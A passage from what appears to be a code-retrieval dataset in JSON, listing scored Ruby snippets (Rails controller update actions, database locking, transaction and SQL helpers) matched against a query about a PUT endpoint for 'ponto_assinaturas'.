"docid": "63a5450a87a0c379a4d9830b938a245e",
"score": "0.50652534",
"text": "def lock_timeout; end",
"title": ""
},
{
"docid": "7cdb623e71b560a02b8e3ca2eb3879d9",
"score": "0.5049465",
"text": "def synchronize_resultset\n # make it reentrant\n return yield if defined?(@resultset_locked) && @resultset_locked\n\n begin\n @resultset_locked = true\n File.open(resultset_writelock, \"w+\") do |f|\n f.flock(File::LOCK_EX)\n yield\n end\n ensure\n @resultset_locked = false\n end\n end",
"title": ""
},
{
"docid": "9e8d41e7fcf6cd96ffdb1488279e70ca",
"score": "0.50421095",
"text": "def current_to_false_sql_statement\n klass = self.class\n lock_column_name = klass.locking_column\n lock_value = current_lock_value\n lock_column = if lock_value\n klass.columns.detect { |c| c.name == lock_column_name }\n else\n nil\n end\n quoted_lock_column = klass.connection.quote_column_name(lock_column_name)\n\n \"UPDATE #{klass.quoted_table_name} \" \\\n \"SET \\\"is_current\\\" = #{klass.connection.quote(false)} \".tap do |sql|\n sql << \"WHERE #{klass.quoted_primary_key} = \" \\\n \"#{klass.connection.quote(@_before_to_new_record_values[:id])}\"\n\n if lock_value\n sql << \" AND \\\"is_current\\\" = #{klass.connection.quote(true)}\"\n sql << \" AND #{quoted_lock_column} = #{klass.connection.quote(lock_value)}\"\n end\n end\n end",
"title": ""
},
{
"docid": "3319103e6a351dd4fd175ac4d499f1eb",
"score": "0.5039119",
"text": "def remaining_sql\n @stmt_api.remaining_sql\n end",
"title": ""
},
{
"docid": "aaedc1331a4c8ed1dde2a05d8dc3df2d",
"score": "0.5024344",
"text": "def acquire_lock!(lock_name = table_name, wait_timeout = 0, &block)\n acquire_lock(lock_name, table_name, &block) or raise LockTimeout, 'Timeout waiting for lock'\n end",
"title": ""
},
{
"docid": "f370e8096e12d961487441c514011dfc",
"score": "0.5024148",
"text": "def transaction(&block)\n @@semaphore.synchronize{\n block.call\n }\n end",
"title": ""
},
{
"docid": "85c84abb57388c01090ef45b274789ac",
"score": "0.50221306",
"text": "def begin_transaction_sql\n SQL_BEGIN\n end",
"title": ""
},
{
"docid": "85c84abb57388c01090ef45b274789ac",
"score": "0.50221306",
"text": "def begin_transaction_sql\n SQL_BEGIN\n end",
"title": ""
},
{
"docid": "58c3bb8d16d52a809eece7f097b49df0",
"score": "0.5021506",
"text": "def synchronize(*)\n if ActiveRecord.version >= Gem::Version.new(\"5.1.0\")\n activerecord_connection.lock.synchronize do\n yield activerecord_raw_connection\n end\n else\n yield activerecord_raw_connection\n end\n end",
"title": ""
},
{
"docid": "1fb8d866cdb009cf480fdd948b973e99",
"score": "0.5014399",
"text": "def lock_column_instance_filter\n lc = model.lock_column\n instance_filter(lc=>Sequel.blob(get_column_value(lc)))\n end",
"title": ""
},
{
"docid": "bbd6c09cd5e1698a9a3708c2b711c075",
"score": "0.49971178",
"text": "def transaction_with_timeout\n db.transaction do\n begin\n db.run(\"SET statement_timeout TO #{statement_timeout}\") if statement_timeout\n yield db\n db.run('SET statement_timeout TO DEFAULT')\n end\n end\n end",
"title": ""
},
{
"docid": "d348cd2392df12407db048b7e0013822",
"score": "0.49939862",
"text": "def locked\n end",
"title": ""
},
{
"docid": "6c0b8dc1270a70a37154e2b9d5f317be",
"score": "0.49914026",
"text": "def select(sql, name = nil)\n raise NotImplementedError, \"select is an abstract method\"\n end",
"title": ""
},
{
"docid": "c5a568c6ba08e677efab3dd315312772",
"score": "0.498664",
"text": "def lock!; end",
"title": ""
},
{
"docid": "3e60da28aad57f582548753f35337c0d",
"score": "0.49797443",
"text": "def select(sql, name = nil, binds = [])\n exec_query(sql, name, binds)\n end",
"title": ""
},
{
"docid": "452448b35400085e888e0cb7d59d133a",
"score": "0.49788913",
"text": "def msg_MLOCK(source, args)\n return nil\n end",
"title": ""
},
{
"docid": "8406d6e363afeeccbfe35c9268e94ea4",
"score": "0.4975434",
"text": "def tx_select(&block)\n @client.send Protocol::Tx::Select.encode(@id)\n\n self.callbacks[:tx_select] = block\n self.connection.channels_awaiting_tx_select_ok.push(self)\n end",
"title": ""
},
{
"docid": "b1fe3e607d9801df3b536d6bea4b2243",
"score": "0.49702775",
"text": "def select(db); end",
"title": ""
},
{
"docid": "b1fe3e607d9801df3b536d6bea4b2243",
"score": "0.49702775",
"text": "def select(db); end",
"title": ""
},
{
"docid": "58424afea09d76c7b826519e264e94f0",
"score": "0.49675965",
"text": "def multi_query(sql, *bind_values)\n @pool.acquire { |conn| conn.query(sql, *bind_values) }\n end",
"title": ""
},
{
"docid": "1b0fa7ba6928b58b37ee8190b38b4cb6",
"score": "0.49663705",
"text": "def query(sql, *bind_values)\n @pool.acquire { |conn| conn.query(sql, *bind_values).first }\n end",
"title": ""
},
{
"docid": "0951fa2a7f98f11d46a19b72ece4e5df",
"score": "0.49586794",
"text": "def lock(&block)\n # TODO: only use replace strategy when server is executing the lock\n return call_strategy unless (locked_token = locksmith.lock(&block))\n\n locked_token\n end",
"title": ""
},
{
"docid": "b31bb54ce7a7d4f3850e543ac055a47f",
"score": "0.49521974",
"text": "def query_wait sql, waiting_time = 10\n result = db[sql].all\n if result.empty?\n if waiting_time != 0\n sleep 1\n result = query_wait(sql, waiting_time - 1)\n end\n end\n return result\n end",
"title": ""
},
{
"docid": "6b4793e9483048d72c4c50b106e4cba6",
"score": "0.49521604",
"text": "def select(sql, name = nil, binds = [])\n ret = exec_query(sql, name, binds)\n ArVer::GTEQ_4 ? ret : ret.to_a\n end",
"title": ""
},
{
"docid": "e2b1658212d0db5f18458e52f2a275bf",
"score": "0.49494773",
"text": "def get_advisory_lock(lock_id) # :nodoc:\n end",
"title": ""
},
{
"docid": "e2b1658212d0db5f18458e52f2a275bf",
"score": "0.49494773",
"text": "def get_advisory_lock(lock_id) # :nodoc:\n end",
"title": ""
}
] |
bd9ae1f0483e7496a589f79bfeb2a99c
|
PUT /ponto_assinaturas/1 PUT /ponto_assinaturas/1.xml
|
[
{
"docid": "ef195de28619f0b41591786b241e7e29",
"score": "0.6618391",
"text": "def update\n @ponto_assinatura = PontoAssinatura.find(params[:id])\n\n respond_to do |format|\n if @ponto_assinatura.update_attributes(params[:ponto_assinatura])\n format.html { redirect_to(@ponto_assinatura, :notice => 'Ponto assinatura atualizado com sucesso.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @ponto_assinatura.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
[
{
"docid": "177a19f7f85a31ed8cc5bc04c10f899d",
"score": "0.6403197",
"text": "def update\n @tipo_osexterna = TipoOsexterna.find(params[:id])\n\n respond_to do |format|\n if @tipo_osexterna.update_attributes(params[:tipo_osexterna])\n flash[:notice] = 'ATUALIZADO COM SUCESSO.'\n format.html { redirect_to(@tipo_osexterna) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @tipo_osexterna.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "eb3474e1d26ed3f6b6a32c3f3a1ea64d",
"score": "0.63638574",
"text": "def update\n @estagiario = Estagiario.find(params[:id])\n\n respond_to do |format|\n if @estagiario.update_attributes(params[:estagiario])\n flash[:notice] = 'Estagiario foi atualizado com sucesso.'\n format.html { redirect_to(@estagiario) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @estagiario.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b44fcca808470030b0d4a8ca0e32b4b7",
"score": "0.634955",
"text": "def update\n @estagiarios = Estagiario.find(params[:id])\n\n respond_to do |format|\n if @estagiarios.update_attributes(params[:estagiario])\n flash[:notice] = 'ESTAGIÁRIO SALVO COM SUCESSO.'\n format.html { redirect_to(@estagiarios) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @estagiarios.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "23b5f5e4dacfb330cb1e0ffd4590ef63",
"score": "0.63082904",
"text": "def update opts = {}\n opts[:headers] ||= {}\n opts[:headers]['Content-Type'] ||= 'text/xml'\n post opts.fetch(:path, update_path), opts\n end",
"title": ""
},
{
"docid": "028c44fa85eb7177ea4d897721550745",
"score": "0.630141",
"text": "def update\n @ausencia = Ausencia.find(params[:id])\n\n respond_to do |format|\n if @ausencia.update_attributes(params[:ausencia])\n flash[:notice] = 'Ausencia was successfully updated.'\n format.html { redirect_to(@ausencia) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @ausencia.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "67b0d51a055ccb895b19eef170a96c0a",
"score": "0.6231451",
"text": "def update\n @espacio = Espacio.find(params[:id])\n\n respond_to do |format|\n if @espacio.update_attributes(params[:espacio])\n flash[:notice] = 'Espacio actualizado correctamente.'\n format.html { redirect_to(@espacio) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @espacio.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "389fe7635f955f048f449abe44320497",
"score": "0.62282616",
"text": "def update\n @asiento = Asiento.find(params[:id])\n\n respond_to do |format|\n if @asiento.update_attributes(params[:asiento])\n format.html { redirect_to(@asiento, :notice => 'Asiento was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @asiento.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3e61053042d0c9b41779135d3710a86a",
"score": "0.6219552",
"text": "def update\n @anexo = Anexo.find(params[:id])\n\n respond_to do |format|\n if @anexo.update_attributes(params[:anexo])\n flash[:notice] = 'SALVO COM SUCESSO.'\n format.html { redirect_to(@anexo) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @anexo.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "71747ca24fc3a6ed19a34a3b0716d288",
"score": "0.62076133",
"text": "def update\n @annonce = Annonce.find(params[:id])\n\n respond_to do |format|\n if @annonce.update_attributes(params[:annonce])\n flash[:notice] = \"Annonce modifiée avec succès.\"\n format.html { redirect_to(@annonce) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @annonce.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "af19f28cfaeffe545d2a1a46f5389b89",
"score": "0.61958015",
"text": "def update\n @administracao_tarefa = Administracao::Tarefa.find(params[:id])\n\n respond_to do |format|\n if @administracao_tarefa.update_attributes(params[:administracao_tarefa])\n format.html { redirect_to(@administracao_tarefa, :notice => 'Tarefa atualizado com sucesso.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @administracao_tarefa.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e0451d48b60c995d80dcec0e792ed42a",
"score": "0.6163023",
"text": "def update\n @tipoespacio = Tipoespacio.find(params[:id])\n\n respond_to do |format|\n if @tipoespacio.update_attributes(params[:tipoespacio])\n flash[:notice] = 'Tipo actualizado correctamente.'\n format.html { redirect_to(@tipoespacio) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @tipoespacio.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "079735dd4689923ea852431b90e61ba5",
"score": "0.61286414",
"text": "def update\n @asignatura = Asignatura.find(params[:id])\n\n respond_to do |format|\n if @asignatura.update_attributes(params[:asignatura])\n format.html { redirect_to(@asignatura, :notice => 'Asignatura was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @asignatura.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "cf0b2c98b84f87e076edf90b07ac00a9",
"score": "0.61135745",
"text": "def update\n @aula = Aula.find(params[:id])\n\n respond_to do |format|\n if @aula.update_attributes(params[:aula])\n flash[:notice] = 'El Aula se modificó correctamente.'\n format.html { redirect_to(@aula) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @aula.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2887baa55fe957dd73203374df97f536",
"score": "0.60986006",
"text": "def update\n @pessoa = Pessoa.find(params[:id])\n\n respond_to do |format|\n if @pessoa.update_attributes(params[:pessoa])\n format.html { redirect_to(@pessoa, :notice => ' - Dados atualizados com sucesso.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @pessoa.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e7e1ac3f170deaf19a77390e0a9be2b5",
"score": "0.6091339",
"text": "def update\n @asignatura = Asignatura.find(params[:id])\n\n respond_to do |format|\n if @asignatura.update_attributes(params[:asignatura])\n flash[:notice] = 'Asignatura was successfully updated.'\n format.html { redirect_to(@asignatura) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @asignatura.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ba747b972cced58965c938880e6c929f",
"score": "0.60907346",
"text": "def update\n @almacenescierre = Almacenescierre.find(params[:id])\n\n respond_to do |format|\n if @almacenescierre.update_attributes(params[:almacenescierre])\n flash[:notice] = 'Almacenescierre was successfully updated.'\n format.html { redirect_to(@almacenescierre) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @almacenescierre.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ec89eeb30cbff973eb2db70677f747ca",
"score": "0.60896343",
"text": "def update\n @asiento = Asiento.find(params[:id])\n respond_to do |format|\n if @asiento.update_attributes(params[:asiento])\n format.html { redirect_to @asiento, :notice => 'El apunte fue cambiado.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @asiento.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f763dfe291b07e0ab3b1910fdfb19436",
"score": "0.608787",
"text": "def update\n @asignado = Asignado.find(params[:id])\n\n respond_to do |format|\n if @asignado.update_attributes(params[:asignado])\n format.html { redirect_to(@asignado, :notice => 'Asignado was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @asignado.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "59e1a25ca5ff433799f238d9f79941a1",
"score": "0.6084423",
"text": "def update\n @carro_som = CarroSom.find(params[:id])\n @carro_som.pessoa.update_attributes(params[:pessoa]) \n\n respond_to do |format|\n if @carro_som.update_attributes(params[:carro_som])\n format.html { redirect_to(@carro_som, :notice => ' - Dados atualizados com sucesso.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @carro_som.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "19cdf3ffe9a357e7c8d13e1dee72a2ec",
"score": "0.60664505",
"text": "def update\n @estado_autorizacion = EstadoAutorizacion.find(params[:id])\n\n respond_to do |format|\n if @estado_autorizacion.update_attributes(params[:estado_autorizacion])\n format.html { redirect_to(@estado_autorizacion, :notice => 'EstadoAutorizacion was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @estado_autorizacion.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5d5a742ba7d500a5bea148fd0e712b71",
"score": "0.60527",
"text": "def update\n @autorizador = Autorizador.find(params[:id])\n\n respond_to do |format|\n if @autorizador.update_attributes(params[:autorizador])\n format.html { redirect_to(@autorizador, :notice => 'Autorizador was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @autorizador.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fda5944b4149b3fd2a50ebe0b0ea83ff",
"score": "0.6047917",
"text": "def update\n @configuracao_ponto = ConfiguracaoPonto.find(params[:id])\n\n respond_to do |format|\n if @configuracao_ponto.update_attributes(params[:configuracao_ponto])\n format.html { redirect_to(@configuracao_ponto, :notice => 'Configuracao ponto atualizado com sucesso.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @configuracao_ponto.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "92f39d443bf9dbaacbe29dbd9bd0b93a",
"score": "0.60428566",
"text": "def update\n @apto = Apto.find(params[:id])\n\n respond_to do |format|\n if @apto.update_attributes(params[:apto])\n flash[:notice] = 'Apto was successfully updated.'\n format.html { redirect_to(@apto) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @apto.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "05fc06a2d1a4df09a0db2e6bdc1509b5",
"score": "0.6037414",
"text": "def update\n @estado = Estado.find(params[:id])\n\n respond_to do |format|\n if @estado.update_attributes(params[:estado])\n flash[:notice] = 'Estado foi atualizado com sucesso.'\n format.html { redirect_to(@estado) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @estado.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "62677b20c2fa8f49048762f1078dde0c",
"score": "0.6033137",
"text": "def update\n respond_to do |format|\n if @empresa.update_attributes(params[:empresa])\n format.html { redirect_to(@empresa, :notice => \"Se actualizó la empresa #{@empresa.nombre}.\") }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @empresa.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3e512276c5b8fe146a2e9161635fa4a3",
"score": "0.6025655",
"text": "def update\n @etapasproceso = Etapasproceso.find(params[:id])\n\n respond_to do |format|\n if @etapasproceso.update_attributes(params[:etapasproceso])\n flash[:notice] = 'Etapasproceso was successfully updated.'\n format.html { redirect_to(@etapasproceso) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @etapasproceso.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "aa77b73c52f0aa06963ca5252b17c884",
"score": "0.60246515",
"text": "def update\n @aetapa = Aetapa.find(params[:id])\n\n respond_to do |format|\n if @aetapa.update_attributes(params[:aetapa])\n format.html { redirect_to(@aetapa, :notice => 'Aetapa was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @aetapa.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "aa8356113e5aea4a19263e68112d990a",
"score": "0.60222405",
"text": "def update\n @ata = Ata.find(params[:id])\n\n respond_to do |format|\n if @ata.update_attributes(params[:ata])\n flash[:notice] = 'SALVO COM SUCESSO.'\n format.html { redirect_to(@ata) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @ata.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "de30ff8a1a11f33182f0bca0046b4b68",
"score": "0.6019644",
"text": "def update\n @orgao = Orgao.find(params[:id])\n\n respond_to do |format|\n if @orgao.update_attributes(params[:orgao])\n format.html { redirect_to(@orgao, :notice => 'Orgão atualizado com sucesso.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @orgao.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "949f658911d9f238f8772be6670a25b2",
"score": "0.60082006",
"text": "def update\n @naciona = Naciona.find(params[:id])\n\n respond_to do |format|\n if @naciona.update_attributes(params[:naciona])\n flash[:notice] = 'Naciona was successfully updated.'\n format.html { redirect_to(@naciona) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @naciona.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1459eb2d2f18d95153cf8a78fff6628b",
"score": "0.60062814",
"text": "def update\n @depositario = Depositario.find(params[:id])\n\n respond_to do |format|\n if @depositario.update_attributes(params[:depositario])\n format.html { redirect_to(@depositario, :notice => 'Depositario atualizado com sucesso.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @depositario.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7d0a53c6b19758b91ca2ede0b8e3a091",
"score": "0.60057855",
"text": "def update\n @autorizacion = Autorizacion.find(params[:id])\n\n respond_to do |format|\n if @autorizacion.update_attributes(params[:autorizacion])\n format.html { redirect_to(@autorizacion, :notice => 'Autorizacion was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @autorizacion.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6e418358cd766cf57276382c5f1d9af6",
"score": "0.6003391",
"text": "def update\n @solicitante = Solicitante.find(params[:id])\n\n respond_to do |format|\n if @solicitante.update_attributes(params[:solicitante])\n format.html { redirect_to(@solicitante, :notice => 'Solicitante was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @solicitante.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5c03435802a94654b085bf64176af84a",
"score": "0.60011417",
"text": "def update\n @tipos = Tipo.find(params[:id])\n\n respond_to do |format|\n if @tipos.update_attributes(params[:tipo])\n flash[:notice] = 'SALVO COM SUCESSO.'\n format.html { redirect_to(@tipos) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @tipos.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "14281f4a6d18ee0b2070b385da7575cc",
"score": "0.59929997",
"text": "def update\n @pia_ocotal = PiaOcotal.find(params[:id])\n\n respond_to do |format|\n if @pia_ocotal.update_attributes(params[:pia_ocotal])\n format.html { redirect_to(@pia_ocotal, :notice => 'PiaOcotal was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @pia_ocotal.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c8f25132a0a79b8d6f992a381bcb8916",
"score": "0.59907347",
"text": "def update\n @saidas = Saida.find(params[:id])\n\n respond_to do |format|\n if @saidas.update_attributes(params[:saida])\n flash[:notice] = 'LANÇAMENTO SAIDA ALTERADO.'\n format.html { redirect_to(homes_path) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @saidas.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "95f0b1f721f3983658da1fa3bd6d7f4c",
"score": "0.5977036",
"text": "def update\n @estados_usuario = EstadosUsuario.find(params[:id])\n\n respond_to do |format|\n if @estados_usuario.update_attributes(params[:estados_usuario])\n format.html { redirect_to(@estados_usuario, :notice => 'EstadosUsuario was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @estados_usuario.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a49d9af068985f54f485e4db7e983e47",
"score": "0.5973212",
"text": "def update\n @pessoa = Pessoa.find(params[:id])\n\n respond_to do |format|\n if @pessoa.update_attributes\n flash[:notice] = 'Pessoa was successfully updated.'\n format.html { redirect_to account_path }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @pessoa.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2b65212052092101de39318b2e729f7a",
"score": "0.5962672",
"text": "def update\n @assunto = Assunto.find(params[:id])\n\n respond_to do |format|\n if @assunto.update_attributes(params[:assunto])\n flash[:notice] = 'CADASTRADO COM SUCESSO.'\n format.html { redirect_to(@assunto) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @assunto.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a8687a6236935e9a2fd69a4ed65fa9f0",
"score": "0.5959997",
"text": "def update\n respond_to do |format|\n if @asesoria.update_attributes(params[:asesoria])\n format.html { redirect_to(@asesoria, :notice => 'Asesoria fue modificada exitosamente.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @asesoria.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "eec5efcf3f101cb005c800e4af758d65",
"score": "0.5953552",
"text": "def update\n @empresa = Empresa.find(params[:id])\n respond_to do |format|\n if @empresa.update_attributes(params[:empresa])\n format.html { redirect_to @empresa, :notice => 'Pin was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @empresa.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e64128c8a31cf588c441f6bd7cc2defd",
"score": "0.5953161",
"text": "def update\n @aviso = @pizarra.avisos.find(params[:id])\n\n respond_to do |format|\n if @aviso.update_attributes(params[:aviso])\n flash[:notice] = 'Aviso was successfully updated.'\n format.html { redirect_to(@pizarra) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @aviso.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "32c89fc2988e8c0fd0494fdc04cf57d0",
"score": "0.5952817",
"text": "def update\n @raca = Raca.find(params[:id])\n\n respond_to do |format|\n if @raca.update_attributes(params[:raca])\n flash[:notice] = 'Registro atualizado com sucesso.'\n format.html { redirect_to(racas_url) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @raca.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "751b40364ff9660c1c678ae6d5798635",
"score": "0.59487873",
"text": "def update\n @atribuicao = Atribuicao.find(params[:id])\n\n respond_to do |format|\n if @atribuicao.update_attributes(params[:atribuicao])\n flash[:notice] = 'Atribuicao was successfully updated.'\n format.html { redirect_to(@atribuicao) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @atribuicao.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0d212a8a912069418b404c2704de42f2",
"score": "0.59444904",
"text": "def update\n @apodos_usuario = ApodosUsuario.find(params[:id])\n\n respond_to do |format|\n if @apodos_usuario.update_attributes(params[:apodos_usuario])\n format.html { redirect_to @apodos_usuario, notice: 'Apodos usuario was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @apodos_usuario.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "82c81b9a9dcae10d52684072a69930b3",
"score": "0.5943265",
"text": "def update\n @tipo_apuestum = TipoApuestum.find(params[:id])\n\n respond_to do |format|\n if @tipo_apuestum.update_attributes(params[:tipo_apuestum])\n format.html { redirect_to @tipo_apuestum, notice: 'Tipo apuestum was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tipo_apuestum.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7360de6151910f4b11941c8598150c01",
"score": "0.59428954",
"text": "def update\n @tipospoblacion = Tipospoblacion.find(params[:id])\n\n respond_to do |format|\n if @tipospoblacion.update_attributes(params[:tipospoblacion])\n format.html { redirect_to(@tipospoblacion, :notice => 'Tipospoblacion was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @tipospoblacion.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "50b39f321f99c2d2a02d4e084bf29755",
"score": "0.59282345",
"text": "def update\n @existencia = Existencia.find(params[:id])\n\n respond_to do |format|\n if @existencia.update_attributes(params[:existencia])\n format.html { redirect_to(@existencia, :notice => 'Existencia was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @existencia.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "59bcdce7f424cc94e227a7b9003ac92b",
"score": "0.5928094",
"text": "def update\n @anuncio = Anuncio.find(params[:id])\n\n respond_to do |format|\n if @anuncio.update_attributes(params[:anuncio])\n format.html { redirect_to(@anuncio, :notice => 'Anuncio was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @anuncio.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "cfd688a619165f67f8d04d10aefcd404",
"score": "0.5926919",
"text": "def update\n @destaque = Destaque.find(params[:id])\n\n respond_to do |format|\n if @destaque.update_attributes(params[:destaque])\n format.html { redirect_to(@destaque, :notice => 'Destaque was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @destaque.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "329e43668424b23ff795a927e3e0b128",
"score": "0.5926534",
"text": "def update\n @aporte = Aporte.find(params[:id])\n [email protected]_id\n respond_to do |format|\n if @aporte.update_attributes(params[:aporte])\n format.html { redirect_to intermedio_mostrar_aportes_path(:socio_id=>aux) }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @aporte.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9cfb15b8ddd7204acf5f3ad50e82346e",
"score": "0.592284",
